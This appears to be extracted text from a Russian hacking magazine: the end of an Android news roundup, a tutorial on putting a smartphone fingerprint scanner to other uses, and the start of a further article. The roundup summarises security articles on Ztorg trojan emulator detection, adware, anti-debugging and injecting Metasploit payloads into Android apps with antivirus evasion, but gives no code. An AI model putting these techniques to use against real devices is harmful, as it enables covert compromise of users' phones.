появил ся  еще  в  Android  5.0).  К  счастью,  новая  сис тема  энер госбе реже ния
не  будет  при менять ся  к  уже  сущес тву ющим  при ложе ниям,  соб ранным
без под дер жки Android O.

Еще  одно  нов шес тво —  каналы  уве дом лений.  Теперь  при ложе ния  могут
раз бить  уве дом ления  на  раз личные  катего рии  (каналы),  а  поль зователь
может выбороч но управлять ими и бло киро вать каж дый из них по отдель нос ‐
ти.  Прос тей ший  при мер:  бло киро вание  новос тей  о  полити ке  в  новос тном
при ложе нии.

Уп равле ние канала ми уве дом лений

В  Android  O  наконец‐то  появил ся  API  Autofill,  поз воля ющий  раз работ чикам
при ложе ний писать менед жеры паролей с  под дер жкой авто запол нения. Да,
они  уме ли  делать  это  и  рань ше,  но  толь ко  с  помощью  API  Accessibility,
который  силь но  гру зит  сис тему  и  работа ет  далеко  не  со  все ми  при ложе ‐
ниями.

Picture  in  Picture —  новый  мно гоокон ный  режим,  поз воля ющий  выводить
окна  при ложе ний  поверх  виде оро ликов  без  оста нов ки  вос про изве дения.
Кро ме  того,  Android  теперь  под держи вает  кон фигура цию multi‐display,  ког да
экран устрой ства и под клю чен ный к нему внеш ний монитор сис тема вос при ‐
нима ет как одно целое, поз воляя переме щать окна меж ду экра нами.

Икон ки  при ложе ний  теперь  могут  подс тра ивать ся  под  офор мле ние
интерфей са  раз личных  про изво дите лей.  В  про шив ках,  исполь зующих  квад ‐
ратные икон ки с зак ругле нием (Samsung TouchWiz), сис тема будет авто мати ‐
чес ки  делать  икон ку  квад ратной,  в  сис темах  с  круг лыми  икон ками  (Google
Pixel) — круг лой. Сей час про изво дите ли реали зуют то же самое с помощью
собс твен ных прос лоек и хаков, Android O поз воля ет уни фици ровать про цесс.
Дос тига ется  это  бла года ря  двух слой ным  икон кам,  вер хний  слой  которых
оста ется  неиз менным,  а  ниж ний  меня ется  в  зависи мос ти  от  исполь зуемой
про шив ки. Этот же механизм поз воля ет реали зовать раз личные эффекты.

Как может выг лядеть икон ка в раз ных вари антах интерфей са

Из дру гих нов шеств:
под дер жка новых API, появив шихся в Java 8;•
оп тимиза ция ART, поз волив шая под нять ско рость про хож дения некото рых
тес тов в нес коль ко раз;

•

под дер жка кодеков для высоко качес твен ной переда чи зву ка по Bluetooth
(LDAC);

•

под дер жка  тех нологии Wi‐Fi  Aware,  поз воля ющая  двум  устрой ствам  под ‐
клю чать ся друг к дру гу нап рямую без исполь зования точ ки дос тупа;

•

API  ConnectionService,  поз воля ющий  интегри ровать  прог раммы  доз вона
в сис тему, не нарушая ее кон цепции интерфей са;

•

AAudio  API  для  про фес сиональ ных  при ложе ний  обра бот ки  зву ка,  тре ‐
бующих минималь ной задер жки при работе со зву ком;

•

кар диналь ная перера бот ка окна нас тро ек, теперь все нас трой ки раз биты
на нес коль ко гло баль ных раз делов;

•

воз можность  сдви нуть  кноп ки  навига ции  вле во  или  впра во  для  более
удоб ного управле ния одной рукой;

•

кноп ки  быс тро го  запус ка,  рас полага ющиеся  в  ниж них  кра ях  экра на  бло ‐
киров ки, теперь мож но заменить ярлы ками любых при ложе ний;

•

для дос тупа к опци ям для раз работ чиков  (и,  как следс твие, воз можнос ти
акти виро вать ADB) теперь необ ходимо ввес ти пароль от экра на бло киров ‐
ки;

•

при  запус ке  при ложе ний,  исполь зующих  перек рытие  окон  (в  том  чис ле
раз личных  бан ков ских  тро янов),  в  стро ке  сос тояния  теперь  появ ляет ся
нес махива емое уве дом ление.

•

IOS 10.3
Об новилась  и  iOS,  но  изме нений  в  ней  сов сем  нем ного.  В  основном  баг ‐
фиксы  и  мел кие  улуч шения,  но  есть  и  дей стви тель но  боль шое  нов шес тво:
фай ловая сис тема APFS.

  была  пред став лена  на  WWDC  2016  как  замена  уста рев шей  HFS+.
Она  ори енти рова на  исклю читель но  на  твер дотель ные  накопи тели  и  может
оди нако во  эффектив но  работать  на  любых  устрой ствах,  начиная  от  Apple
Watch и закан чивая Mac Pro. APFS име ет фун кцию дедуп ликации (нап ример,
копия  фай ла  не  будет  занимать  допол нитель ное  прос транс тво  на  дис ке
до тех пор, пока она не будет изме нена), под держи вает снап шоты (фай ловую
сис тему  мож но  «сфо тог рафиро вать  и  отка тить  обратно»  в  любое  вре мя),
шиф рование дан ных и кон троль ные сум мы для про вер ки целос тнос ти дан ных.
На сегод няшний момент  , что мож но
объ яснить ее молодостью.

APFS

APFS менее про изво дитель на, чем HFS+

Вто рое замет ное нов шес тво — это фун кция поис ка AirPods в при ложе нии
«Най ти iPhone». Сов сем недав но в App Store появи лось ана логич ное сто рон ‐
нее при ложе ние, которое Apple вско ре выпили ла, и теперь мы зна ем зачем.
Кар ты сей час могут показы вать погоду в выб ранном мес те, а у под кастов есть
вид жет.

Мно гие поль зовате ли отме чают и замет ное уско рение  iOS, но,  как выяс ‐
нилось, дело тут вов се не в опти миза циях, а в изме нив шихся тай мин гах ани ‐
мации (она прос то ста ла более быс трой).

Find my AirPods

LINEAGEOS
LineageOS  (CyanogenMod)  так же  про дол жает  раз вивать ся.  Никаких  новых
релизов, толь ко пла номер ное улуч шение LineageOS 14.1.

Глав ное новов ведение — oneHand Mode, режим управле ния одной рукой.
Реали зован при мер но так же, как в MIUI: если про вес ти паль цем по экранным
кноп кам  навига ции  вле во  или  впра во,  кар тинка  на  экра не  умень шает ся
и сдви гает ся в левую ниж нюю или пра вую ниж нюю часть экра на. Для тех, кто
не  исполь зует  экранные  кла виши,  есть  воз можность  повесить  это  дей ствие
на  одну  из  хар двар ных  кно пок  (нап ример,  дол гое  удер жание  или  двой ное
нажатие).

В 14.1 наконец‐то вер нулись допол нитель ные  тай лы для панели быс трых
нас тро ек (штор ки). Сей час дос тупны:

 — бло киров ка отклю чения экра на;• Caffeine

 — раз дача интерне та по USB;• USB Thether

 — вклю чение/отклю чение син хро низа ции дан ных;• Sync

 — вклю чение режима энер госбе реже ния;• Battery Saver

 — режим Ambient, вклю чающий экран при пос тупле нии
уве дом ления;

• Ambient Display

 — вклю чение/отклю чение показа уве дом лений в вер хней час ти
экра на;

• Heads Up

 — дос туп к панели управле ния гром костью;• Volume Panel

 — отладка по сети.• ADB over Network

На пом ним,  что  начиная  с  7.0  сто рон ние при ложе ния  так же могут  добав лять
собс твен ные тай лы в быс трые нас трой ки.

OneHand Mode

SAMSUNG GALAXY S8
В  кон це  фев раля  Samsung  пред ста вила  Galaxy  S8,  свой  новый  флаг ман,
который дол жен вос ста новить репута цию ком пании пос ле исто рии с вос пла ‐
меня ющим ся  Note  7.  Об  этом  написа ли  уже  на  каж дом  углу,  поэто му  мы
не будем пов торять ся, а вмес то это го оста новим ся на инте рес ных прог рам ‐
мных тех нологи ях, вошед ших в его про шив ку.

Samsung Galaxy S8

Пер вое,  о  чем  сто ит  ска зать,  —  это  ассистент  Bixby,  сво еоб разный  ответ
Apple  с  ее  Siri  и  Google  с  ее  Now  и  Google  Assistant.  Сог ласно  Samsung,
это  тех нология  нового  типа,  исполь зующая машин ное  обу чение,  спо соб ная
чуть ли не знать, о чем дума ет поль зователь, и так далее и тому подоб ное.

На  самом  деле  Bixby  —  это  прос то  еще  один  ассистент,  выпол ненный
по обра зу и подобию Google Now и под держи вающий два язы ка: корей ский
и англий ский. Нас коль ко он дей стви тель но точен и полезен, пока неяс но, но в
нем есть одна при меча тель ная осо бен ность: он зна ет, что в дан ный момент
изоб ражено  на  экра не  смар тфо на,  и  может  делать  под сказ ки  и  выпол нять
фун кции,  осно выва ясь  на  этих  зна ниях.  Нап ример,  его  мож но  поп росить
перевер нуть  изоб ражение  камеры  или  отска ниро вать  текст,  на  который
наведен  объ ектив.  Samsung  заяв ляет,  что  с  помощью  Bixby  мож но  сде лать
все, что мож но сде лать паль цем, и это дей стви тель но впе чат ляет — если зак ‐
рыть  гла за на  кон фиден циаль ность. Все‐таки никому бы не  хотелось,  что бы
Samsung зна ла, чем он занима ется в каж дый кон крет ный момент.

Вто рая  инте рес ная  тех нология  —  это  DeX,  спе циаль ный  док,  под клю ‐
чающий ся  кабелем  HDMI  к  монито ру.  Как  толь ко  ты  встав ляешь  смар тфон
в этот док, на экра не монито ра появ ляет ся пол ноцен ный рабочий стол в сти ‐
ле Windows. Оста ется  толь ко спа рить со смар тфо ном кла виату ру и мышь —
и вуаля, ты прев ратил смар тфон в пол ноцен ный ПК.

Все  это  очень  похоже  на  то,  чем  занима ются  ребята  из  про екта  ,
но  если Maru  поз воля ет  сде лать  из  смар тфо на  комп  на  базе  пол ноцен ного
Debian,  то  здесь  все  нес коль ко  про ще:  на  экра не  ты  уви дишь  Android,  но  с
дес ктоп ным интерфей сом (на манер  ). Для серь езных задач не под ‐
ходит,  зато  поз воля ет  исполь зовать  одни  и  те  же  при ложе ния  на  дес кто пе
и смар тфо не и работать с одни ми и теми же дан ными — пол ная интегра ция.

Maru

Remix OS

Кста ти,  имен но  поэто му Microsoft  анон сирова ла  свою  собс твен ную  вер ‐
сию  Galaxy  S8  с  пре дус танов ленны ми  офис ными  при ложе ниями,  Outlook,
Skype и Cortana.

DeX прев раща ет смар тфон в ПК

Дру гие инте рес ные при ложе ния:
Samsung  Connect  —  при ложе ние  для  цен тра лизо ван ного  управле ния
умным  домом,  пос тро енным  вок руг  Samsung  Connect  Home  Smart  Wi‐Fi
System;

•

Samsung Cloud — обла ко Samsung для сох ранения фай лов и докумен тов,
которые мож но открыть на любом устрой стве;

•

Bluetooth Dual Audio — стри минг аудио сра зу на нес коль ко устрой ств Blue‐
tooth с инди виду аль ным управле нием гром костью (исполь зует тех нологии
Bluetooth 5).

•

ПОЧИТАТЬ
 —  огромный  отчет  Google  о  сос тоянии

безопас ности и борь бе со злов редами для Android.
Android  Security  2016  Year  In  Review

Нес мотря  на  явно  мар кетин говый  харак тер  докумен та  («пос мотри те,
как все клас сно, а вы говори те — Android дырявый»), в нем мож но най ти мно ‐
жес тво  инте рес ней шей  информа ции.  Нап ример,  толь ко  в  2016  году Google
вып латила око ло мил лиона дол ларов более чем 125 иссле дова телям в рам ‐
ках прог раммы Bug Bounty.

Поч ти  50%  поль зовате лей  исполь зуют  бло киров ку  экра на  PIN‐кодом
или  отпе чат ком  паль ца.  В Сомали  этот  про цент  дос тига ет  82%,  тог да  как  в
Укра ине толь ко 27%, а в Рос сии око ло 35%. Про цент устрой ств, работа ющих
на Android 5.1 и исполь зующих шиф рование, сос тавлял лишь 8%, тог да как в
слу чае Android 7.0 этот показа тель под ско чил до 80%.

Ус трой ства, сво евре мен но получав шие еже месяч ные security‐обновле ния
в 2016 году: Google Pixel, Google Pixel XL, Motorola Moto Z, Droid, Oppo A33W,
Nexus 6P, Nexus 5X, Nexus 6, OnePlus 3, Samsung Galaxy S7, Asus Zenfone 3, BQ
Aquaris M5, Nexus  5,  Vivo  V3Max,  LG V20,  Sony  Xperia  X Compact,  BlackBerry
PRIV.

Про цент  уста новок  при ложе ний,  выпол няющих  рутинг  устрой ств
без ведома поль зовате ля, — 0,00233%, про цент уста новок легитим ных при ‐
ложе ний,  выпол няющих  рутинг  по  зап росу  поль зовате ля, —  0,3461%.  Поч ти
все они уста нов лены не из Google Play.

Про цент поль зовате лей, бло киру ющих экран PIN‐кодом, по стра нам

 — опи сание метода защиты от отладки
при ложе ний на Android 5.0. Метод осно ван на запатен тован ной (!) тех нологии
Bluebox Security,  суть  которой  зак люча ется  в  обну лении  гло баль но  видимой
струк туры  gDvm.jdwpState,  которая  содер жит  текущие  дан ные  об  отладке
и ука зате ли на фун кции. В резуль тате поток отладки JDWP пада ет и отладка
ста новит ся невоз можной.

Anti‐Debugging Fun With Android ART

В сис темах,  исполь зующих  ком пилятор ART вмес то  вир туаль ной машины
Dalvik  (Android 5.0 и выше), такой или сход ной струк туры нет, но есть дру гие
спо собы завер шить поток JDWP. Один из них — это переза писать метод  jd‐
wpAdbState::ProcessIncoming(). В статье при веден весь необ ходимый код.

 — иссле ‐
дова ние  нового  трен да  в  области Adware,  при ложе ний,  агрессив но  показы ‐
вающих  рек ламу  либо  пыта ющих ся  зас тавить  поль зовате ля  уста новить
и запус тить дру гое при ложе ние.

A New Trend in Android Adware: Abusing Android Plugin Frameworks

Обыч но подоб ный софт работа ет  так: при запус ке или через опре делен ‐
ные  отрезки  вре мени  при ложе ние  ска чива ет  нес коль ко  дру гих  при ложе ний,
которые сле дует впа рить поль зовате лю, на кар ту памяти и вре мя от вре мени
показы вает диалог уста нов ки. Поль зовате ли от это го не в вос торге, но боль ‐
шинс тво  из  них  вне  опас ности:  уста нов ку  из  сто рон них  источни ков  необ ‐
ходимо  вклю чить,  затем  уста новить  рек ламиру емое  при ложе ние,  затем
запус тить его. Не каж дый юзер будет это делать.

Од нако  с  кон ца  прош лого  года  намети лась  новая  тен денция —  Adware,
исполь зующее  воз можнос ти  фрей мвор ка  DroidPlugin.  Пос ледний  пред став ‐
ляет собой неч то вро де вир туаль ной машины для при ложе ний. Он поз воля ет
написать при ложе ние, которое будет спо соб но запус кать дру гие при ложе ния
внут ри себя, при чем не прос то запус кать, а запус кать авто мати чес ки и авто ‐
мати чес ки  же  уста нав ливать.  Дру гими  сло вами,  исполь зующее  этот  фрей ‐
мворк  Adware  может  незамет но  ска чать  при ложе ние  на  кар ту  памяти,  уста ‐
новить его  внутрь  себя,  соз дать  ярлык на рабочем сто ле и  запус тить,  а  его
соз датель получа ет за это денеж ку.

Один из при меров такого Adware — при ложе ние Clean Doctor, уже уда лен ‐
ное  из Play Store. Вмес те  с  ним Google  уда лила  еще два  десят ка  подоб ных
при ложе ний.

 — раз бор одной из новых вер ‐
сий Android/Ztorg. Тро ян исполь зует обфуска цию строк, биб лиоте ку 

 для того, что бы его невоз можно было выг рузить из памяти, и мно жес тво
тех ник обна руже ния самых раз ных эму лято ров, начиная от стан дар тно го эму ‐
лято ра Android и закан чивая Genymotion и TaintDroid.

Teardown of a Recent Variant of Android/Ztorg
MarsDae‐

mon

К при меру, кро ме про вер ки на наличие раз личных сис темных перемен ных
и фай лов устрой ств ( ),  которые слу жат инди като ром работы
внут ри эму лято ра, он так же иссле дует файл  , где содер жится
информа ция об активных TCP‐соеди нени ях (ока зыва ется, в эму лято рах вмес ‐
то информа ции об IP‐адре сах и номерах пор тов — нули).

/dev/qemu_pipe
/proc/net/tcp

В  осталь ном  все  доволь но  стан дар тно:  заг рузка  payload  через  зашиф ‐
рован ный  канал,  root‐экс пло иты  в  ком плек те,  отклю чение  SELinux,  отклю ‐
чение  отладчи ка  путем  под мены  фай ла  ,  самоко ‐
пиро вание в раз ные учас тки сис темы для защиты от уда ления.

/system/bin/debuggerd

 — статья о внед рении
злов редно го кода в при ложе ния для Android с помощью Metasploit Framework.
Статья  пошаго во  опи сыва ет  про цесс  внед рения  payload,  а  так же  уста нов ку
защиты от обна руже ния анти виру сами с помощью  .

Injecting Metasploit Payloads into Android Applications

apkwash

Внед рение payload

 —  ввод ная  статья  о  сис теме  динами чес кого
ана лиза и внед рения кода  .
Hacking  Android  apps with  Frida

Frida

РАЗРАБОТКА
Статьи

 — статья о том, как реали зовать фун ‐
кцию «покуп ки в при ложе нии» в Android;

• Implementing In‐App Billing in Android

  —  офи циаль ная  докумен тация  Google  о  том,
как повысить ско рость сбор ки при ложе ния для Android;

• Optimize  Your  Build  Speed

  —  боль шая  статья  с  рас ска зом
о раз ных под ходах к мно гопо точ ному прог рамми рова нию в Android;

• Android  Threading:  All  You  Need  to  Know

  —  статья  о  том,  как  реали зовать  App  Shortcuts
(меню,  появ ляющееся  при  дол гом  удер жании  икон ки  при ложе ния)
в Android;

• App  Shortcuts  in  details

  —  статья  о  работе  с  канала ми
уве дом лений в Android O;

• Exploring  Android  O:  Notification  Channels

  —  боль шой  каталог  ресур сов,  пос вящен ных  раз ‐
работ ке для Android;

• Android  Dev  Sources

 —
опи сание спо собов сни зить пот ребле ние тра фика при ложе нием, исполь ‐
зуя биб лиоте ку okHttp 3.

• Reducing your networking footprint with OkHttp, Etags and If‐Modified‐Since

Биб лиоте ки:
  —  очень  прос тая  в  исполь зовании  биб лиоте ка  для  работы

с камерой (Camera 2 API тоже под держи вает ся);
• CameraKit

  —  огромный  каталог  откры тых  при ложе ний
и игр для Android.

• Open‐Source  Android  Apps

На этом на сегод ня все.
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Офи циаль но под дер жка ска нера отпе чат ков паль цев появи ‐
лась в Android 6.0, но до сих пор мно гие поль зовате ли вос ‐
при нима ют его лишь как средс тво для раз бло киров ки смар ‐
тфо на.  Меж ду  тем  ска нер  мож но  исполь зовать,  что бы
нажимать  кноп ки  «Домой»  или  «Назад»,  откры вать  штор ку,
сни мать камерой, запус кать при ложе ния, защищать пароли,
СМС,  фотог рафии  и  бан ков ские  сче та.  А  если  ты  уме ешь
поль зовать ся Tasker, то смо жешь наз начить на ска нер отпе ‐
чат ков прак тичес ки любое дей ствие.

Сра зу ого ворим ся, что в этой статье речь пой дет о смар тфо нах на базе An‐
droid 6.0, в которых ска нер отпе чат ков и дос туп к нему реали зован сог ласно
тре бова ниям  Google.  Толь ко  такие  смар тфо ны  поз воля ют  сто рон ним  при ‐
ложе ниям исполь зовать ска нер в сво их целях. Китай ские и некото рые дру гие
смар тфо ны  со  ска нером  отпе чат ков  и  Android  5.0/5.1  не  подой дут,  так
как хоть и под держи вают раз бло киров ку смар тфо на при кос новени ем паль ца,
но не име ют API, с помощью которо го сто рон ний софт мог бы его задей ство ‐
вать.

1. ВЕШАЕМ НА СКАНЕР КНОПКУ «ДОМОЙ», «НАЗАД» ИЛИ ЛЮБУЮ
ДРУГУЮ
На вер ное,  самое полез ное при мене ние,  которое мож но при думать  ска неру
отпе чат ков, — это повесить на него одну из хар двар ных или экранных кно пок,
будь то «Домой», «Назад» или «Обзор». Все это поз воля ет сде лать при ложе ‐
ние  .Fingerprint Quick Action

Ус танав лива ем при ложе ние,  ста вим  галоч ку  нап ротив пун кта  «Раз решить
Fingerprint  Quick  Action».  Откро ется  окно  «Спец.  воз можнос ти»,  в  котором
необ ходимо  най ти  при ложе ние  и  вклю чить  его.  Далее  мож но  повесить
на  оди ноч ное,  двой ное  нажатие  или  свайп  по  ска неру  одно  из  мно жес тва
дей ствий,  вклю чая  кноп ки  «Назад»  и  «Домой»,  а  так же  «Вык лючить  экран»,
«Показать панель уве дом лений»  (как в Google Pixel),  «Раз делить экран»  (для
одновре мен ного запус ка двух при ложе ний в Android 7.0) и дру гие.

Имей в виду, что фун кции двой ного нажатия и свай па экспе римен таль ные,
а поэто му работа ют из рук вон пло хо (фак тичес ки не работа ют). Сто ит огра ‐
ничить ся лишь оди ноч ным нажати ем.

Ве шаем на ска нер отпе чат ков кноп ку «Домой»

2. ЗАПУСКАЕМ ПРИЛОЖЕНИЯ
Тот же Fingerprint Quick Action поз воля ет с помощью ска нера запус кать при ‐
ложе ния.  Это  может  быть  очень  удоб но,  если  чаще  все го  ты  исполь зуешь
смар тфон,  нап ример,  для  обще ния  в  Telegram/WhatsApp  или  звон ков.  Так
дос туп к телефо ну или мес сен дже ру всег да будет под рукой.

Выб рать при ложе ние мож но  таким же спо собом,  как и наз начить  кноп ку.
Необ ходимо про мотать спи сок дей ствий до самого кон ца и выб рать Launch
app or shortcut (да, при ложе ние переве дено не пол ностью), далее в глав ном
окне  при ложе ния  появит ся  пункт Single  tap  app or  shortcut.  Тут мож но будет
выб рать при ложе ние.

Ис поль зуем ска нер для запус ка при ложе ний

3. ЗАЩИЩАЕМ ПРИЛОЖЕНИЯ
С помощью ска нера отпе чат ков мож но  не  толь ко  запус кать,  но  и  защищать
при ложе ния.  Для  это го  мож но  исполь зовать    —  при ложе ние,  поз ‐
воля ющее  зак рыть  дос туп  к  выб ранным  при ложе ниям  с  помощью PIN‐кода,
пат терна либо отпе чат ка паль ца.

App  Lock

Поль зовать ся  им  очень  прос то.  Запус каем  при ложе ние,  вклю чаем  «Раз ‐
бло киро вать  отпе чат ком»,  далее  вво дим  либо  PIN,  либо  пат терн  (здесь  он
зовет ся рисун ком), про пус каем экран с прось бой ввес ти email, на сле дующем
экра не  перехо дим  в  нас трой ки,  выбира ем  App  Lock,  акти виру ем  и  воз вра ‐
щаем ся. На сле дующем экра не появит ся спи сок при ложе ний. Что бы вклю чить
защиту,  дос таточ но  акти виро вать  перек лючатель  нап ротив  име ни  при ложе ‐
ния.  Теперь при попыт ке  запус тить  при ложе ние появит ся  прось ба под нести
палец к ска неру.

Од нако  не  сто ит  вос при нимать  App  Lock  как  дей стви тель но  серь езную
защиту. Все, что тре бует ся сде лать, что бы ее обой ти, — это либо убить про ‐
цесс App Lock, либо уда лить при ложе ние. Так что это ско рее защита от детей
или  прос то  тех ничес ки  нег рамот ных  поль зовате лей,  в  руках  которых  может
ока зать ся смар тфон.

«Защища ем» при ложе ния с помощью App Lock

4. АВТОРИЗУЕМ ПОКУПКИ В GOOGLE PLAY
В Google Play есть защита от слу чай ных покупок с помощью пароля от акка ‐
унта  Google.  Она  поз воля ет  защитить  тебя  от  опус тошения  кар точки,  если
смар тфон  слу чай но  попадет  не  в  те  руки.  Нем ногие  зна ют,  что  Google  Play
под держи вает  авто риза цию  не  толь ко  с  помощью  пароля,  но  и  с  помощью
отпе чат ка.

Прос то  открой  нас трой ки Google  Play  (вни зу  выд вижной  панели),  вклю чи
опцию  «Аутен тифика ция  по  отпе чат ку  паль ца»  и  вве ди  пароль  от  акка унта
Google. При сле дующей покуп ке Google Play поп росит при кос нуть ся к ска неру
отпе чат ков.

Вклю чаем авто риза цию по отпе чат ку в Google Play

5. ИСПОЛЬЗУЕМ СКАНЕР В КАЧЕСТВЕ КНОПКИ ЗАТВОРА
С помощью ска нера отпе чат ков, рас положен ного на перед ней панели смар ‐
тфо на, удоб но делать сним ки и записы вать видео. И для это го даже не нуж но
уста нав ливать  спе циаль ное  при ложе ние  камеры  и  отка зывать ся  от  сво его
любимо го. Дос таточ но уста новить  .Dactyl

За пус каешь при ложе ние, про маты ваешь при ветс твен ные экра ны и даешь
ему дос туп к тем же «Спец. воз можнос тям». И это все, теперь уста нов ленные
на смар тфо не камеры смо гут делать сни мок при при кос новении к ска неру.

Сре ди  :  Google  Camera,  Open  Camera,  Manual
Camera, Snap Camera, Camera 360, WhatsApp, Prisma, Instagram и мно жес тво
дру гих. Автор утвер жда ет, что этот спи сок пос тоян но попол няет ся и под дер ‐
жка новых камер при ходит по воз духу, не тре буя обновлять при ложе ние.

под держи ваемых  камер

Не дос таток  один:  три аль ная  вер сия  поз воля ет  сде лать  не  более  десяти
сним ков, а пол ная сто ит 130 руб лей. Мно гова то для такой прос той ути литы.

Нас тра иваем Dactyl

6. ЗАЩИЩАЕМ ПАРОЛИ
Со  вре мени  выпус ка  Android  6.0  под дер жкой  ска нера  отпе чат ков  паль цев
обза велись  мно гие  менед жеры  паролей,  вклю чая  популяр ный  ,
сов мести мый с KeePass   и печаль но извес тный за свои дыры 

. Опи сывать, как вклю чить под дер жку ска нера в них, не будем, все прос то
и понят но.

1Password
KeepShare Last‐

Pass

Но что более инте рес но, в мар кете мож но най ти при ложе ние 
, которое фак тичес ки пов торя ет воз можнос ти при ложе ний для генера ции

одно разо вых паролей Google Authenticator и FreeOTP, но при этом поз воля ет
исполь зовать ска нер отпе чат ка для дос тупа к сво ей фун кци ональ нос ти.

Authenticator
Plus

7. ЗАЩИЩАЕМ ДАННЫЕ
А  как  нас чет  воз можнос ти  защитить  СМС,  фотог рафии  и  дру гие  дан ные?
Тоже пожалуй ста. Для защиты СМС мож но исполь зовать при ложе ние 

, а фотог рафий —  . Прав да, «защита» в дан ном слу чае будет при ‐
мер но такой же, как при исполь зовании App Lock: ник то не зап реща ет уста ‐
новить дру гое при ложе ние для прос мотра СМС и фотог рафий и без проб лем
их уви деть. Более того, фотог рафии Android хра нит на кар те памяти вооб ще
без вся ких огра ниче ний дос тупа,  так что уви деть их мож но даже с помощью
прос тей шего фай лового менед жера.

Evolve‐
SMS Focus

Еще одно инте рес ное при ложе ние —  . Это  тоже прос мот рщик
фотог рафий,  но  он  не  прос то  зак рыва ет  дос туп  к  галерее,  а  бло киру ет  ее
на  одной  фотог рафии.  Эта кий  защит ный  механизм,  ког да  необ ходимо
показать кому‐то сни мок, но не допус тить прос мотр осталь ных.

Solo Photo

Как и положе но, Solo Photo стра дает от проб лемы «прос то запус ти дру гой
прос мот рщик  фоток».  Но  ее  мож но  свес ти  на  нет,  если  исполь зовать  при ‐
ложе ние  сов мес тно  со  встро енным  в  Android  режимом  бло киров ки  в  при ‐
ложе нии  (Нас трой ки → Безопас ность → Бло киров ка в при ложе нии). В этом
слу чае  Solo  Photo  огра ничит  прос мотр  одной  фот кой,  а  сам  Android  заб ‐
локиру ет экран на Solo Photo. Все, что оста нет ся делать, — созер цать фот ку.

Под дер жка ска нера отпе чат ков есть и у мно гих бан ков ских кли ентов. Нап ‐
ример, тот же Сбер банк поз воля ет получить дос туп к фун кци ям при ложе ния,
исполь зуя отпе чаток вмес то пароля.

Нас тра иваем ска нер отпе чат ка в Focus и Solo Photo

8. ДЕЛАЕМ ВСЕ, ЧТО ХОТИМ (TASKER)
Ска нер  отпе чат ков  мож но  зап рограм мировать  на  самые  раз ные  дей ствия:
выпол нение уда лен ной коман ды по SSH, вклю чение ком па, управле ние умны ‐
ми лам пами и так далее. Одна ко в этом слу чае прос той уста нов кой и запус ‐
ком сто рон него соф та уже не обой тись, необ ходимо купить Tasker, уста новить
нес коль ко пла гинов для него и сос тавить пра вила реаги рова ния на ска ниро ‐
вание паль ца.

Во‐пер вых,  понадо бит ся  .  Это  менее
 ана лог Fingerprint Quick Action, но с под дер жкой Tasker. Так ‐

же понадо бит ся сам Tasker и набор пла гинов к нему. Нап ример:

Fingerprint  Scanner  Tools
функциональный

 — поз воля ет выпол нять уда лен ные коман ды по SSH;• SSH Tasker Plugin
 — при ложе ние для про буж дения ком па по сети с под дер жкой Tasker;• WoL

 — пла гин для управле ния умны ми лам пами Hue и LIFX.• AutoHue

За пус каем  Tasker,  откры ваем  «Нас трой ки →  Раз ное»,  ста вим  галоч ку  нап ‐
ротив «Раз решить внеш ний дос туп». Перехо дим на вклад ку Tasks и добав ляем
новый  таск,  нажав  кноп ку  +,  ука зыва ем  имя  тас ка.  Вновь  нажима ем  +
и выбира ем любое из десят ков под держи ваемых Tasker дей ствий либо нуж ‐
ный пла гин (который обыч но надо для начала нас тро ить).

Да лее запус каем Fingerprint Scanner Tools, акти виру ем перек лючатель En‐
able,  в  качес тве  Fingerprint  action  выбира ем  Execute  Tasker  task,  в  качес тве
Task  to  be  executed —  соз данный  ранее  таск.  Теперь  при  касании  ска нера
отпе чат ков дол жен сра баты вать нуж ный таск.

К  сожале нию,  тема  нас трой ки  Tasker  выходит  далеко  за  рам ки  дан ной
статьи, поэто му отправ ляем тебя читать статьи «

» и « ».
Ис поль зуем Tasker на пол ную

катуш ку Скрип туем Android с Tasker и Autotools

Свя зыва ем ска нер отпе чат ков и Tasker

Сто ит ли доверять свои отпе чат ки сто рон нему соф ту?
Ско рее  все го,  этот  воп рос  так  или  ина че  прос какивал  в  тво ей  голове.
На самом деле вол новать ся не сто ит. Сер тифици рован ные Google смар тфо ‐
ны обя заны хра нить сни мок отпе чат ка в зашиф рован ном виде в хар двар ном
модуле  TEE  (Trusted  Execution  Environment,  в  про цес сорах  Qualcomm  ту  же
роль  игра ет  TrustZone).  Поэто му  ник то  до  тво их  отпе чат ков  не  доберет ся
(толь ко если он не очень прод винутый хакер).

Это  пер вое,  а  вто рое  —  Android  не  поз воля ет  сто рон ним  при ложе ниям
зап рашивать у поль зовате ля новые отпе чат ки или получать дос туп к уже име ‐
ющим ся. Все, что он поз воля ет сде лать, — это поп росить сис тему отска ниро ‐
вать отпе чаток, а затем дать ответ, верен ли он. Поэто му отпе чат ки надеж но
защище ны не толь ко от взлом щиков, но и от при ложе ний.

ВЫВОДЫ
Как  ты  смог  убе дить ся,  ска нер  отпе чат ков  мож но  прис пособить  не  толь ко
для раз бло киров ки смар тфо на, но и для выпол нения мно гих дру гих дей ствий,
количес тво которых при исполь зовании Tasker ста новит ся прос то без гра нич ‐
ным.

mailto:zobnin@glc.ru
https://play.google.com/store/apps/details?id=com.ztc1997.fingerprint2sleep
https://play.google.com/store/apps/details?id=com.getkeepsafe.applock
https://play.google.com/store/apps/details?id=com.nyelito.dactyltrial&rdid=com.nyelito.dactyltrial
https://nyelito.github.io/Dactyl/
https://play.google.com/store/apps/details?id=com.agilebits.onepassword
https://play.google.com/store/apps/details?id=com.hanhuy.android.keepshare
https://play.google.com/store/apps/details?id=com.lastpass.lpandroid
https://play.google.com/store/apps/details?id=com.mufri.authenticatorplus
https://play.google.com/store/apps/details?id=com.klinker.android.evolve_sms
https://play.google.com/store/apps/details?id=com.franco.focus
https://play.google.com/store/apps/details?id=com.mshaw.solophoto
https://play.google.com/store/apps/details?id=com.flextrick.fringerprintscannertools
https://play.google.com/store/apps/details?id=com.laptopfreek0.sshplugin.paid
https://play.google.com/store/apps/details?id=com.benfinnigan.wol
https://play.google.com/store/apps/details?id=com.cuberob.autohue
https://xakep.ru/2014/05/25/tasker-full-using/
https://xakep.ru/2017/03/23/tasker-autotools/
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X‐MOBILE

Ска жи,  ты  ког да‐нибудь  вно сил  изме нения
в  про шив ку?  Не  прос то  Xposed,  а  куда
более низ коуров невые — нап ример, менял

,  уда лял  сис темные  при ‐
ложе ния, уста нав ливал ViPER 4Android, под ‐
менял  /system/hosts,  что бы  заб локиро вать
рек ламу.  Если  ответ  «да»,  то  ты  не  понас ‐
лышке  зна ком  с  ситу ацией,  ког да  одно
невер ное  дви жение  прев раща ет  твой
смар тфон  в  кир пич,  а  пос ле  обновле ния
сис темы  при ходит ся  все  делать  заново.
К  счастью,  все  эти  проб лемы  мож но
решить,  пол ностью  авто мати зиро вав  вне ‐
